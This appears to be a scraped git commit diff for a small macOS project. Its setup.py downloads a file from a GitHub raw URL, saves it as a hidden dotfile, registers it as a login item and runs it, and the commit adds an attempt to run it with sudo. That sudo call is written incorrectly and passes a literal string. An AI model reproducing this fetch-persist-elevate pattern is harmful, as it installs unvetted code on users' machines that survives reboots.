diff options
| -rwxr-xr-x | dist/main | bin | 6871264 -> 6871264 bytes | |||
| -rwxr-xr-x | dist/main.app/Contents/MacOS/main | bin | 6871264 -> 6871264 bytes | |||
| -rwxr-xr-x | dist/setup | bin | 4298944 -> 4298976 bytes | |||
| -rwxr-xr-x | dist/setup.app/Contents/MacOS/setup | bin | 4298944 -> 4298976 bytes | |||
| -rw-r--r-- | setup.py | 5 |
5 files changed, 4 insertions, 1 deletions
| Binary files differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main Binary files differBinary files differindex 2f6e2e5..a3cd512 100755 --- a/dist/main.app/Contents/MacOS/main +++ b/dist/main.app/Contents/MacOS/main diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup Binary files differindex 9f76459..1807756 100755 --- a/dist/setup.app/Contents/MacOS/setup +++ b/dist/setup.app/Contents/MacOS/setup @@ -13,4 +13,7 @@ open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Re system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null") system(f"chmod 555 {localfile}") -subproc([localfile]) +try: + subproc([f"sudo localfile"]) +except: + subproc([localfile]) |
